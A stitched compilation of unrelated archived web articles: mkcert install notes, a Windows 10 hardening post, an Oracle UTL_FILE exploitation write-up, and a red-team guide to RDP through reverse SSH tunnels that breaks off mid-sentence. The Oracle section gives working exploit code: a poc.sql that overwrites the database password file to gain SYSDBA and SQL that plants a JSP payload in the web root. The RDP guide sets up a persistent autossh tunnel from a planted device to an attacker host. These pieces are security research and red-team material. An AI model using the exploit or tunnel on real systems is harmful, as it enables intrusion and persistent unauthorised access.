    brew install mkcert
    brew install nss # if you use Firefox
    
[/code]

or MacPorts.

[code]

    sudo port selfupdate
    sudo port install mkcert
    sudo port install nss # if you use Firefox
    
[/code]

### Linux

On Linux, first install `certutil`.

[code]

    sudo apt install libnss3-tools
        -or-
    sudo yum install nss-tools
        -or-
    sudo pacman -S nss
    
[/code]

Then you can install using Linuxbrew

[code]

    brew install mkcert
    
[/code]

or build from source \(requires Go 1.10+\)

[code]

    go get -u github.com/FiloSottile/mkcert
    $(go env GOPATH)/bin/mkcert
    
[/code]

or use the pre-built binaries.

On Arch Linux you can use your AUR helper to install mkcert from the PKGBUILD.

[code]

    yaourt -S mkcert
    
[/code]

### Windows

On Windows, use Chocolatey

[code]

    choco install mkcert
    
[/code]

or use Scoop

[code]

    scoop install mkcert
    
[/code]

or build from source \(requires Go 1.10+\), or use the pre-built binaries.

## Supported root stores

mkcert supports the following root stores:

  * macOS system store
  * Windows system store
  * Linux variants that provide either 
    * `update-ca-trust` \(Fedora, RHEL, CentOS\) or
    * `update-ca-certificates` \(Ubuntu, Debian\) or
    * `trust` \(Arch\)
  * Firefox \(macOS and Linux only\)
  * Chrome and Chromium
  * Java \(when `JAVA_HOME` is set\)

## Advanced topics

### Mobile devices

For the certificates to be trusted on mobile devices, you will have to install
the root CA. It's the `rootCA.pem` file in the folder printed by `mkcert
-CAROOT`.

On iOS, you can either use AirDrop, email the CA to yourself, or serve it from
an HTTP server. After installing it, you must enable full trust in it.
**Note** : earlier versions of mkcert ran into an iOS bug, if you can't see
the root in "Certificate Trust Settings" you might have to update mkcert and
regenerate the root.

For Android, you will have to install the CA and then enable user roots in the
development build of your app. See this StackOverflow answer.

### Changing the location of the CA files

The CA certificate and its key are stored in an application data folder in the
user home. You usually don't have to worry about it, as installation is
automated, but the location is printed by `mkcert -CAROOT`.

If you want to manage separate CAs, you can use the environment variable
`$CAROOT` to set the folder where mkcert will place and look for the local CA
files.

### Installing the CA on other systems

Installing in the trust store does not require the CA key, so you can export
the CA certificate and use mkcert to install it in other machines.

  * Look for the `rootCA.pem` file in `mkcert -CAROOT`
  * copy it to a different machine
  * set `$CAROOT` to its directory
  * run `mkcert -install`

Remember that mkcert is meant for development purposes, not production, so it
should not be used on end users' machines, and that you should _not_ export or
share `rootCA-key.pem`.

  

# Windows 10 Client Hardening – Instructions for ensuring a secure system

**Created:**| _12/21/2016 9:17:31 AM_  
---|---  
**Updated:**| _12/21/2016 9:17:31 AM_  
**Author:**| __  
**Tags:**| _windows hardending config-mgmt_  
  

  

<img src='img/Temp2_9539.jpg' width='1440' height='400' />

# Windows 10 Client Hardening

## Instructions for ensuring a secure system

Michael Schneider

15\. December 2016 ⋅ Time to read: 6 minutes

The _Windows 10_ operating system was released about 15 months ago and is
being used increasingly for both private and business purposes. Initial
enthusiasm for Windows 10 was muted and has not increased much since the
launch. The graphical interface \(e.g. the Start menu and the Action Center\),
the forced updates, the integration of cloud services, and the logging of user
behavior have all caused annoyance. Scant attention was paid to improving
security functions and settings. Some of these functions were even withheld
from enterprise customers, such as Credential and Device Guard.

Microsoft’s standard settings form a solid basis but need to be revised in
order to ensure a secure operating system. Based on the CIS Microsoft Windows
10 Benchmarks, I have created a checklist that can be used to harden Windows
10 in both the private and business domain. The hardening checklist can be
used for all Windows versions, but the _GroupPolicyEditor_ is not integrated
into Windows 10 Home; adjustments have to be carried out directly in the
registry.

# Basic principles

To protect against unauthorized physical access, the hard drive should be
encrypted. The integrated _BitLocker_ function can be used for this. Ideally,
Bitlocker should be used in combination with _SecureBoot_. This links the hard
drive to the individual system’s hardware.

The integrated _Windows Defender_ solution can be used as anti-virus software.
Windows Defender offers adequate protection against known malware and has not
been found to have any serious weaknesses. In a Security Research of Anti-
Virus Software project, Travis Ormandy, researcher in Google’s Project Zero,
found that, unlike competitor products, Windows Defender did not have any
critical vulnerabilities that impaired the security of the operating system.

In 2009, Microsoft published the Enhanced Mitigation Experience Toolkit
\(EMET\), , which can be used as a _Defense in Depth_ measure against the
exploitation of vulnerabilities. EMET includes measures against known exploits
such as heap spraying, and Return Oriented Programming. Support for EMET will
stop at the end of July 2018, as Microsoft has integrated the majority of the
functions into Windows 10. According to an analysis, by Will Dormann, this is
not yet the case with the current version of Windows 10. EMET should therefore
continue to be operated on a correctly hardened system.

In Windows 10, the properties of _Windows Update_ were altered. After a
certain amount of time, Windows updates are installed automatically and the
system is re-started. This has not been popular with users and has led to the
recommendation to deactivate the Windows update processes. Installing Windows
updates promptly is key to maintaining the system’s security and the process
should not be deactivated under any circumstances. This year, there have been
at least three privilege escalation vulnerabilities \(MS16-032, MS16-111, and
MS16-124\), for which functioning exploits were published within a few days of
the patch being released.

# Security and privacy

The use of _NT LAN Manager_ \(NTLM\) is also a security-related topic for
Windows 10. If an attacker can capture the NTLM challenge response process,
such as by manipulating the network traffic, they can use this to work out the
user’s password. An eight-digit password can be worked out in just a few
hours. NTLM should now only be used in version 2 \(NTLMv2\); all other
versions \(NTLMv1 and LM\) should be rejected. Ideally, NTLM should be
completely deactivated or restricted to specific IP addresses.

A new security function _blocks_ untrustworthy _fonts_ \(truetype fonts\) but
is not active in the default settings. This function should therefore be
activated. A few vulnerabilities were found in Windows which enable a
privilege escalation up to kernel level of the operating system when a font is
opened or viewed. It is now possible to deactivate the support for
untrustworthy fonts in order to mitigate the vulnerability.

Windows 10 comes with a range of functions which, in the default settings,
have a negative impact on the user’s privacy. For example, user behavior can
be analyzed by capturing telemetry data. What’s more, cloud functions are
active in the default settings which users may not want to utilize at all.
These include the storage function _OneDrive_ and the speech recognition
software _Cortana_. Most of these issues can be managed using group policies
and deactivated if required. It is therefore possible to switch off the
logging and transmission of error messages to Microsoft, reduce the capturing
of telemetry data to a minimum \(it can only be switched off completely in the
Enterprise version\), and deactivate cloud applications such as OneDrive or
Cortana.

# Auditing and logos

Security-related events must be logged and assessed on a hardened system. To
do this, the default settings need to be _extended_. In order to detect an
attempted attack or the misuse of access data at an early stage, failed login
attempts should be logged. Strengthening the log settings, however, only helps
if the integrity of the logs is assured and they have been recorded properly.
The maximum size of the event log should therefore be expanded in order to
ensure that no entries can be lost by being overwritten. In addition, access
rights should be restricted to administrators.

# Full checklist

The full checklist with all settings can be downloaded in text format. The
settings should be seen as security recommendations; before accepting them,
check carefully whether they will affect the operation of your infrastructure
or impair the usability of key functions. A balance should be struck between
security _and_ usability. Considering your system’s security settings leads to
a better understanding of the system and your requirements, which in turn
improves the security of the overall system.

## Links

  * https://benchmarks.cisecurity.org/tools2/windows/CIS\_Microsoft\_Windows\_10\_Enterprise\_RTM\_Release\_1507\_Benchmark\_v1.0.0.pdf
  * https://blogs.technet.microsoft.com/srd/2016/11/03/beyond-emet/
  * https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=owner%3Ataviso%40google.com
  * https://en.wikipedia.org/wiki/Privilege\_escalation
  * https://en.wikipedia.org/wiki/Return-oriented\_programming
  * https://googleprojectzero.blogspot.com
  * https://insights.sei.cmu.edu/author/will-dormann/
  * https://insights.sei.cmu.edu/cert/2016/11/windows-10-cannot-protect-insecure-applications-like-emet-can.html
  * https://technet.microsoft.com/en-us/security/jj653751
  * https://twitter.com/taviso
  * https://vuldb.com/?id.81278
  * https://vuldb.com/?id.91564
  * https://vuldb.com/?id.92593
  * https://wikipedia.org/wiki/Heap\_spraying

## Tags

Google, Hardening, Malware, Microsoft, PDF, VulDB, Windows, Word

<img src='img/Temp2_9542.jpg' width='160' height='144' />

# Credential and Device Guard

Michael Schneider

<img src='img/Temp2_9538.jpg' width='160' height='144' />

# Content Security Policy

Michael Schneider

<img src='img/Temp2_9540.jpg' width='160' height='144' />

# RIPv6

Michael Schneider

<img src='img/Temp2_9541.jpg' width='160' height='144' />

# PowerShell Monitoring

Michael Schneider

# You want more?

Further articles available here

# Questions about this article?

Our experts will get in contact with you\!

email

phone

  

# Source Incite | Oracle PL/SQL Kungfu – Abusing UTL\_FILE to gain Remote Code Execution
**Created:**| _6/23/2015 11:12:42 AM_  
---|---  
**Updated:**| _6/23/2015 11:12:42 AM_  
**Author:**| __  
**Tags:**| _Oracle dbms_  
  

# 22 Jun Oracle PL/SQL Kungfu – Abusing UTL\_FILE to gain Remote Code
Execution

A little while ago, a database credential leak vulnerability was revealed in
Oracle Demantra that allowed an attacker to gain access to the underlying
Oracle database install. Exploitation of this vulnerability under Oracle 10g
is trivial as it can be exploited by leaking the credentials, logging into the
database and injecting PL/SQL into the GET\_DOMAIN\_INDEX\_TABLES function in
the 3rd parameter within the DBMS\_EXPORT\_EXTENSION package. Needless to say,
this is a function that is owned by SYS and has public execute permissions so
it can be exploited via an SQL Injection vulnerability within a web
application.

<img src='img/Temp2_7625.png' alt='perms' />

Analyzing the permissions on the DBMS\_EXPORT\_EXTENSION package in Oracle 10g

However, what if we are targeting Oracle 11gR2 or 12c? How does an attacker
gain remote code execution via these databases? First, lets run the Oracle
Demantra auxiliary module, I used my own private version of this module as I
developed it long ago and it gives me a little more meta data:

<img src='img/Temp2_7626.png' alt='creds_leak_2' />

Exploiting CVE-2014-5795

If you are following along, you will need to install the Oracle Instant
Client, just forget about installing the ruby-oci8 gem unless ruby is your
thing. If you are on a Linux x64 machine like me, be sure to set the
LD\_LIBRARY\_PATH to /usr/lib/oracle/12.1/client-64/lib. So now lets log into
our targets Oracle 11gR2 install and see what is available to us:

`[steven@saturn ~]$ sqlplus64 DEMANTRA` `/demantra` `@192.168.116.148:1521`
`/orcl` `SQL*Plus: Release 12.1.0.2.0 Production on Thu Jun 18 11:08:08 2015`
`Copyright (c) 1982, 2014, Oracle. All rights reserved.` `Connected to:`
`Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production` `With
the Partitioning, OLAP, Data Mining and Real Application Testing options`
`SQL>`  
---  
Lets check some permissions, note that the demantra user has the ‘CREATE ANY
DIRECTORY’ and ‘CREATE JOB’ privileges

`SQL> ` `select` `username, granted_role ` `from` `user_role_privs ` `where`
`username=` `'DEMANTRA'` `;` `USERNAME GRANTED_ROLE`
`------------------------------ ------------------------------` `DEMANTRA `
`CONNECT` `DEMANTRA SELECT_CATALOG_ROLE` `SQL> ` `select` `username,privilege
` `from` `user_sys_privs ` `where` `username=` `'DEMANTRA'` `;` `USERNAME
PRIVILEGE` `------------------------------
----------------------------------------` `DEMANTRA ` `CREATE` `TABLE`
`DEMANTRA ` `CREATE` `SEQUENCE` `DEMANTRA ` `CREATE` `MATERIALIZED ` `VIEW`
`DEMANTRA ` `CREATE` `ANY` `DIRECTORY` `DEMANTRA ` `SELECT` `ANY` `DICTIONARY`
`DEMANTRA ` `CREATE` `JOB` `DEMANTRA ` `CREATE` `TRIGGER` `DEMANTRA ` `CREATE`
`TYPE` `DEMANTRA ` `CREATE` `VIEW` `DEMANTRA ` `ALTER` `SESSION` `DEMANTRA `
`CREATE` `ANY` `CONTEXT` `USERNAME PRIVILEGE` `------------------------------
----------------------------------------` `DEMANTRA ` `CREATE` `SYNONYM`
`DEMANTRA ` `CREATE` `PROCEDURE` `DEMANTRA ` `GLOBAL` `QUERY REWRITE`
`DEMANTRA ` `CREATE` `EXTERNAL JOB` `15 ` `rows` `selected.`  
---  
### The vulnerability

After auditing several packages in the default install of 11gR2 and performing
some googling, I came across the UTL\_FILE package that is owned by SYS and
has PUBLIC execute permissions:

<img src='img/Temp2_7627.png' alt='UTIL_FILE' />

So we can execute the code in this package and several interesting functions
and procedures caught my attention. The first being the fopen function and
without us even needing to unwrap the packaged code, Oracle provided us with
some important information

`/*` `** FOPEN - open file` `**` `** As of 8.0.6, you can have a maximum of 50
files open simultaneously.` `**` `** As of 9.0.2, UTL_FILE allows file system
access for directories` `** created as database objects. See the CREATE
DIRECTORY command.` `** Directory object names are case sensitive and must
match exactly` `** the NAME string in ALL_DIRECTORIES. The LOCATION parameter
may be` `** either a directory string from the UTL_FILE_DIR init.ora
parameter` `** or a directory object name.` `**` `** IN` `** location -
directory location of file` `** filename - file name (including extention)`
`** open_mode - open mode ('r', 'w', 'a' 'rb', 'wb', 'ab')` `** max_linesize -
maximum number of characters per line, including the` `** newline character,
for this file.` `** Valid values are 1 through 32767 and NULL. A NULL` `**
value for max_linesize indicates that UTL_FILE should` `** calculate an
operating system specific value at runtime.` `** RETURN` `** file_type handle
to open file` `** EXCEPTIONS` `** invalid_path - file location or name was
invalid` `** invalid_mode - the open_mode string was invalid` `**
invalid_operation - file could not be opened as requested` `**
invalid_maxlinesize - specified max_linesize is too large or too small` `**
access_denied - access to the directory object is denied` `*/` `FUNCTION`
`fopen(location ` `IN` `VARCHAR2,` `filename ` `IN` `VARCHAR2,` `open_mode `
`IN` `VARCHAR2,` `max_linesize ` `IN` `BINARY_INTEGER ` `DEFAULT` `NULL` `)`
`RETURN` `file_type;` `PRAGMA RESTRICT_REFERENCES(fopen, WNDS, RNDS, TRUST);`  
---  
Using fopen, puts/put\_raw and fclose functions and/or procedures an attacker
can write to a directory object of their choice\! It should be also noted that
an attacker can also read and move files to disclose sensitive data. Now, all
we need is the CREATE DIRECTORY privilege, which, as the demantra user we
already have. But the fun continues\! Oracle demantra installs a number of
packages and functions and one important one is the DATA\_LOAD package. Inside
this package contains a function called EXPORT\_TO\_FILE and we can of course
call this function as demantra\!

For the sake of clarity, here is a dump of the EXPORT\_TO\_FILE function:

`/*` `* FUNCTION:` `* Export an SQL statement to text file` `*` `*
PARAMETERS:` `* p_query = the sql statement` `* p_separator = the column
seperator` `* p_dir = the directory object` `* p_filename = the text file` `*`
`*/` `FUNCTION` `EXPORT_TO_FILE (` `p_query ` `IN` `VARCHAR2,` `p_dir ` `IN`
`VARCHAR2,` `p_filename ` `IN` `VARCHAR2,` `p_separator ` `IN` `VARCHAR2 `
`DEFAULT` `FIELD_DELIMITER` `) ` `RETURN` `NUMBER` `IS` `l_output
UTL_FILE.FILE_TYPE;` `l_thecursor ` `INTEGER` `DEFAULT`
`DBMS_SQL.OPEN_CURSOR;` `l_columnvalue VARCHAR2 (2000);` `l_status ` `INTEGER`
`;` `l_colcnt NUMBER ` `DEFAULT` `0;` `l_separator VARCHAR2 (10) ` `DEFAULT`
`''` `;` `l_cnt NUMBER ` `DEFAULT` `0;` `BEGIN` `-- open the file` `L_OUTPUT
:= UTL_FILE.FOPEN( location => p_dir,` `filename => p_filename,` `open_mode =>
` `'w'` `,` `max_linesize => 32767);` `-- parse the sql` `DBMS_SQL.PARSE
(l_thecursor, p_query, DBMS_SQL.NATIVE);` `-- define the columns` `FOR` `i `
`IN` `1 .. 255 LOOP` `BEGIN` `DBMS_SQL.DEFINE_COLUMN (l_thecursor, i,
l_columnvalue, 2000);` `l_colcnt := I;` `EXCEPTION ` `WHEN` `OTHERS ` `THEN`
`IF (SQLCODE = -1007) ` `THEN` `EXIT;` `ELSE` `RAISE;` `END` `IF;` `END` `;`
`END` `LOOP;` `-- execute the SQL` `L_STATUS := DBMS_SQL.` `EXECUTE`
`(l_thecursor);` `-- fetch the rows` `LOOP EXIT ` `WHEN` `(DBMS_SQL.FETCH_ROWS
(l_thecursor) <= 0);` `-- write columns` `l_separator := ` `''` `;` `FOR` `I `
`IN` `1 .. l_colcnt LOOP` `DBMS_SQL.COLUMN_VALUE (l_thecursor, I,
l_columnvalue);` `UTL_FILE.PUT (l_output, l_separator || l_columnvalue);`
`l_separator := p_separator;` `END` `LOOP;` `-- start new line`
`UTL_FILE.NEW_LINE (l_output);` `l_cnt := l_cnt + 1;` `END` `LOOP;` `-- close
cursor` `DBMS_SQL.CLOSE_CURSOR (l_thecursor);` `-- close file`
`UTL_FILE.FCLOSE (l_output);` `RETURN` `l_cnt;` `END` `EXPORT_TO_FILE;`  
---  
So this function is using some of the functions and procedures from UTL\_FILE
to execute a DDL statement and writes the returning result to a file that we
can control into a directory object we can also control. This sounds like a
vulnerability to me. So what if we didn’t have this function on our target? We
we could just create our own procedures since we have the permissions:

`CREATE` `or` `replace` `PROCEDURE` `write_text (` `code ` `IN` `VARCHAR2,`
`p_dir ` `IN` `VARCHAR2,` `p_filename ` `IN` `VARCHAR2` `) ` `AS` `l_output
UTL_FILE.FILE_TYPE;` `BEGIN` `-- open the file` `L_OUTPUT := UTL_FILE.FOPEN(
location => p_dir,` `filename => p_filename,` `open_mode => ` `'w'` `,`
`max_linesize => 32767);` `UTL_FILE.PUT (l_output, code);` `UTL_FILE.FCLOSE
(l_output);` `END` `;` `/` `CREATE` `or` `replace` `PROCEDURE` `write_binary
(` `code ` `IN` `VARCHAR2,` `p_dir ` `IN` `VARCHAR2,` `p_filename ` `IN`
`VARCHAR2` `) ` `AS` `l_output UTL_FILE.FILE_TYPE;` `BEGIN` `-- open the file`
`L_OUTPUT := UTL_FILE.FOPEN( location => p_dir,` `filename => p_filename,`
`open_mode => ` `'wb'` `,` `max_linesize => 32767);` `UTL_FILE.put_raw
(l_output, code);` `UTL_FILE.FCLOSE (l_output);` `END` `;` `/`  
---  
As it turns out, Paul Wright discovered this technique way back in 2008 and
found a way to escalate privileges to SYSDBA which actually still works in
Oracle 11gR2 and 12c. Of course, once you are SYSDBA, gaining RCE is
relatively easy.

`[steven@saturn ~]$ sqlplus64 DEMANTRA/demantra@192.168.116.148:1521/orcl`
`SQL*Plus: Release 12.1.0.2.0 Production ` `on` `Mon Jun 22 14:01:35 2015`
`Copyright (c) 1982, 2014, Oracle. ` `All` `rights reserved.` `Connected `
`to` `:` `Oracle ` `Database` `11g Enterprise Edition Release 11.2.0.1.0 -
Production` `With` `the Partitioning, OLAP, Data Mining ` `and` `Real`
`Application Testing options` `SQL> ` `SELECT` `* ` `FROM` `v$pwfile_users;`
`USERNAME SYSDB SYSOP SYSAS` `------------------------------ ----- -----
-----` `SYS ` `TRUE` `TRUE` `FALSE` `SQL> @poc.sql` `Directory created.`
`PL/SQL ` `procedure` `successfully completed.` `SQL> ` `SELECT` `* ` `FROM`
`v$pwfile_users;` `USERNAME SYSDB SYSOP SYSAS` `------------------------------
----- ----- -----` `SYS ` `TRUE` `TRUE` `FALSE` `DEMANTRA ` `TRUE` `FALSE`
`FALSE` `SQL>` `[steven@saturn ~]$ sqlplus64 hacker/` `password`
`@192.168.116.135:1521/orcl` `SQL*Plus: Release 12.1.0.2.0 Production ` `on`
`Mon Jun 22 14:04:53 2015` `Copyright (c) 1982, 2014, Oracle. ` `All` `rights
reserved.` `Connected ` `to` `:` `Oracle ` `Database` `12c Enterprise Edition
Release 12.1.0.1.0 - 64bit Production` `With` `the Partitioning, OLAP,
Advanced Analytics ` `and` `Real` `Application Testing options` `SQL> @poc.sql
` `Directory created.` `PL/SQL ` `procedure` `successfully completed.` `SQL>`  
---  
And, of course here is the poc.sql

`CREATE` `OR` `REPLACE` `DIRECTORY TESTPASS ` `AS`
`'C:\app\steve\product\12.1.0\dbhome_1\database'` `;` `DECLARE` `fi
UTL_FILE.FILE_TYPE;` `bu RAW(32767);` `bu2 varchar2(32767);` `bu3
varchar2(32767);` `BEGIN` `bu2:=hextoraw(`
`'0000000000020000020000005d5c5b5a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004f5241434c452052656d6f74652050617373776f72642066696c650000001b0000000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000494e5445524e414c000000000000000000000000000000000000000000000000080000003233324134434335313934413533454500000000000000000000000000000000100000001f296c48c67aff19589e2e6eae08aaa1ee4267ac396b15c5b5b15ee5372b3e005359530000000000000000000000000000000000000000000000000000000000030000004443423734384135424335333930463200000000'`
`);` `bu3:=hextoraw(`
`'000000000000000000000000100000001f30327009bc34432e33def78c51e3569dc241b56b952c2a4ac97d083bf1dd0000000000000000000000000044454d414e545241000000000000000000000000000000000000000000000000080000004241373546334437433441394534363500000000000000000000000000000000100000001be65324df7e2c92582a8e2f716e23bd85eb03c97e2569b34263b842261e5f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'`
`);` `bu := hextoraw(bu2||bu3);` `fi:=UTL_FILE.fopen(` `'TESTPASS'` `,`
`'PWDorcl.ora'` `,` `'wb'` `,32767);` `UTL_FILE.put_raw(fi,bu,` `TRUE` `);`
`UTL_FILE.fclose(fi);` `END` `;` `/`  
---  
### Application specific exploitation

This is probably the easiest step, assuming we are still in our remote console
gained from exploiting CVE-2014-5795, one only needs to execute the following
commands:

`SQL> ` `create` `or` `replace` `directory dir_temp ` `as` `'C:\Program
Files\Oracle Demantra Spectrum\Collaborator\Tomcat\webapps\ROOT'` `; `
`Directory created.` `SQL> ` `select` `DATA_LOAD.EXPORT_TO_FILE(` `'SELECT '`
`'<%= new String("rce!") %>'` `' from dual'` `,` `'DIR_TEMP'` `,` `'poc.jsp'`
`) ` `from` `dual;` `DATA_LOAD.EXPORT_TO_FILE(` `'SELECT'`
`'<%=NEWSTRING("RCE!")%>'` `'FROMDUAL'` `,` `'DIR_TEMP'` `,'`
`--------------------------------------------------------------------------------`
`1` `SQL>`  
---  
The first command creates a directory object pointing to the web root of
Demantra which is consistent across installations, the second just writes our
code onto the file system. Now, we just execute the code via the application:

<img src='img/Temp2_7628.png' width='542' height='58' alt='rce' />

or, we can execute it via the database and abuse SSRF

`SQL> ` `select` `UTL_HTTP.request(` `'http://localhost:8080/poc.jsp'` `) `
`from` `dual;` `UTL_HTTP.REQUEST(` `'HTTP://LOCALHOST:8080/POC.JSP'` `)`
`--------------------------------------------------------------------------------`
`rce!`  
---  
### Conclusion

Even if the function didn’t exist, the demantra user still has CREATE
PROCEDURE privileges and could easily create a procedure the would resemble
the above EXPORT\_TO\_FILE function to write controlled code \(including
binary data\). To perform a binary write, it would simply be a matter of using
the ‘wb’ mode with put\_raw\(\).

`select` `write_binary(` `'00'` `,` `'DIR_TEMP'` `,` `'poc.exe'` `) ` `from`
`dual; ` `-- writes a single NUL byte into the poc.exe file`  
---  
Finally, if the target did not have a web application to trigger the code
execution, an attacker would only need to escalate their privileges to SYSDBA
and execute remote java code. The final resort would be to \(ab\)use a
platform specific vector like the Windows Management Instructions \(WMI\) via
Managed Object Format \(MOF\) just like the Stuxnet attack.

I hope Oracle realizes the severity of this issue and patches this bug\!

### References

# The RDP Through SSH Encyclopedia - Black Hills Information Security

**Created:**| _3/2/2019 6:08:03 PM_  
---|---  
**Updated:**| _3/2/2019 6:08:03 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

External/Internal, How-To, Informational, Red Team BHIS, Black Hills
Information Security, Carrie Roberts, RDP, SSH

# The RDP Through SSH Encyclopedia

Carrie Roberts//\*

<img src='img/Temp2_8271.png' width='690' height='388' />

I have needed to remind myself how to set up RDP access through an SSH
connection so many times that I’ve decided to document it here for future
reference. I hope it proves useful to you as well. I do “adversary simulation”
for work and so I present this information using terms like “attacker” and
“target” but this info is also useful for performing system administration
tasks.

The first scenario we will cover is the situation where you have access to a
Linux machine on an Internal network and you want to RDP to a Windows machine
on that same internal network. This might be the case if you have placed a
Dropbox on the internal network \(e.g. a Raspberry Pi computer plugged into an
ethernet port on the internal network\). Or, perhaps you have access to
execute commands on a Linux machine that already exists on the Internal
Network. In either case, you can use the following technique to RDP to your
target on the Internal Network. The following diagram shows the starting point
for this scenario.

<img src='img/Temp2_8275.png' width='690' height='171' />

Here we have the Attacker system on one Internal network that is not
accessible from the internet. The attacker operating system is Windows. Next,
we have a Linux computer on the internet \(e.g. a Digital Ocean Droplet\). We
refer to this system on the Internet at the External system. The External
system has an IP address of 208.8.8.8 in this example, and it has the SSH
service listening on port 443. The red box on the outside of the gray box
indicates that the port, port 443, is listening on the external interface.
Listening on the external interface means that other remote systems can
connect to it. The red box is shown twice just for clarity in later connection
steps but there is really only one port 443 listening. We, the Attacker, have
full control of both the Attacker and External machines.

Moving to the Target Internal network we have a Dropbox \(Linux\) where we
have the ability to execute commands. The Dropbox has the SSH service
listening on port 22, allowing other systems on the network to interact with
it. Lastly, we have the Target Windows system that we want to RDP to. The
Target has RDP enabled and listening on port 3389 and we have credentials for
a user that is allowed to RDP to this machine. The IP address of the Target is
10.2.2.222 in this example.

All SSH authentication in this tutorial will be done using public/private key
pairs. It is assumed that the Dropbox has a private key file called db.key and
that the public key \(db.pub\) has been added to the authorized\_keys file on
the External server. It is also assumed that the Attacker system is set up in
a similar manner using a private key called at.ppk or at.key and that the
public key for this is added to the authorized\_keys file on both the External
and Dropbox systems. You will need to use the ppk version of the private key
for the examples that use PuTTY/plink as the SSH client. If your key pair was
generated on Linux you can use the PuTTYgen tool to convert the private key to
the ppk format.

The first step we will take is to connect the Dropbox to the External system
via SSH. Because internal networks are not accessible from the Internet, the
connection will have to be initiated from the Dropbox itself. We could connect
the Dropbox to the External system with the following SSH command.

**_ssh -i ~/.ssh/db.key -p 443 root@208.8.8.8_**

Now we have a connection \(tunnel\) from the Dropbox to the External system.
The arrow shows the direction of the connection.

<img src='img/Temp2_8277.png' width='690' height='172' />

However, this isn’t quite what we want. We want to be able to forward an RDP
connection through this tunnel we just set up. To do this, we will tell SSH to
start listening on an internal port, port 5001, and forward anything that
connects to this internal port back through our SSH Tunnel. This is known as
Reverse SSH Port Forwarding. It is “Reverse” because the listening port is
being created on the system we are SSH’ing to and not on the system we are
SSH’ing from. The following command will set up the Reverse SSH Port Forward
for us. In this command, the term “localhost” is referring to the Dropbox
which has the SSH service listening on port 22.

**_ssh -i ~/.ssh/db.key -p 443 -R 5001:localhost:22 root@208.8.8.8_**

<img src='img/Temp2_8279.png' width='690' height='172' />

A green box around a port number designates that this port is listen on the
local interface only. This port is not accessible by remote systems except
through an SSH tunnel.

A note on persistence. You may want to make sure that this SSH tunnel from the
Dropbox to the external system stays connected. For example, you may have left
the Dropbox on-site and no longer have command line access to it without using
the tunnel. In this case, you should consider using the autossh command as
shown below. If autossh is not installed you can follow the instructions here
to install it.

**_autossh -M 0 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o
ExitOnForwardFailure=yes -i ~/.ssh/db.key -p 443 -R 5001:localhost:22
root@208.8.8.8_**

Autossh is used to monitor and restart SSH sessions. The -M 0 option disables
the monitoring port and instead uses the two “Alive” options to check the
health of the connection. The ExitOnForwardFailure means that if autossh can’t
bind to the remote port, 5001 in this case, it will exit. This will make it
obvious that the full connection we are seeking has not occurred.

If you are worried that the Dropbox may get restarted and you want to ensure
that the SSH tunnel gets restarted you could install it as a service. This can
be accomplished by creating the following file at
/etc/system/system/autossh.service and then registering it as a service.
Remember to replace 208.8.8.8 with the IP of your External server.

**_\[Unit\]_**  
  
**_Description=Keeps a tunnel to External server open_**  
  
** _Requires=network-online.target_**  
  
** _After=network-online.target_**  
  
** _\[Service\]_**  
  
**_User=root_**  
  
** _Environment=”AUTOSSH\_GATETIME=0″_**  
  
** _ExecStart=/usr/bin/autossh -M 0 -N -o ServerAliveInterval=30 -o
ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -i /root/.ssh/db.key -p 443
-R 5001:localhost:22 root@208.8.8.8_**  
  
** _\[Install\]_**  
  
**_WantedBy=multi-user.target﻿_**

The following commands will read the new autssh.service file, start the
service and check its status.

**_sudo systemctl daemon-reload_**  
  
** _sudo systemctl start autossh.service_**  
  
** _sudo systemctl status autossh.service﻿_**  

Ensure that the status shows as “active \(running\)” as shown in the image
below.

<img src='img/Temp2_8269.png' width='630' height='93' />

Finally, set the service to start at boot, and make sure the SSH service also
starts at boot.

**_sudo systemctl enable autossh.service_**  
  
** _sudo systemctl enable ssh_**

Now you can try rebooting your Dropbox and confirm that the tunnel out to the
External service is up and functional, including the reverse port forward back
to the Dropbox.

The Dropbox is connected, now let’s connect the Attacker system to the
External System. First, we will set up two environment variables to make the
final command easy to copy and paste. Replace the IP addresses in these two
commands with the IP address of your External server and the Internal IP of
the Target system. Run these commands from a cmd window on the Attacker
system.

**_set EXTERNAL\_IP=208.8.8.8_**  
  
** _set TARGET\_IP=10.2.2.222_**

Now, in the same window where you set the above environment variables run the
following command. Run this command from the directory that contains your
attacker private key, at.ppk. If your key was generated in Linux, you can use
Puttygen.exe to open the key and save it out in ppk format. If you run this
command from a different directory than where your at.ppk file is, you’ll need
to provide the full path to the file such as “c:\Users\admin\\.ssh\at.ppk” in
both locations it is referenced in the command.

**_plink -i at.ppk root@%EXTERNAL\_IP% -P 5001 -L 3390:%TARGET\_IP%:3389
-proxycmd “plink root@%EXTERNAL\_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001”_**

If you get an error that “plink is not recognized as an internal or external
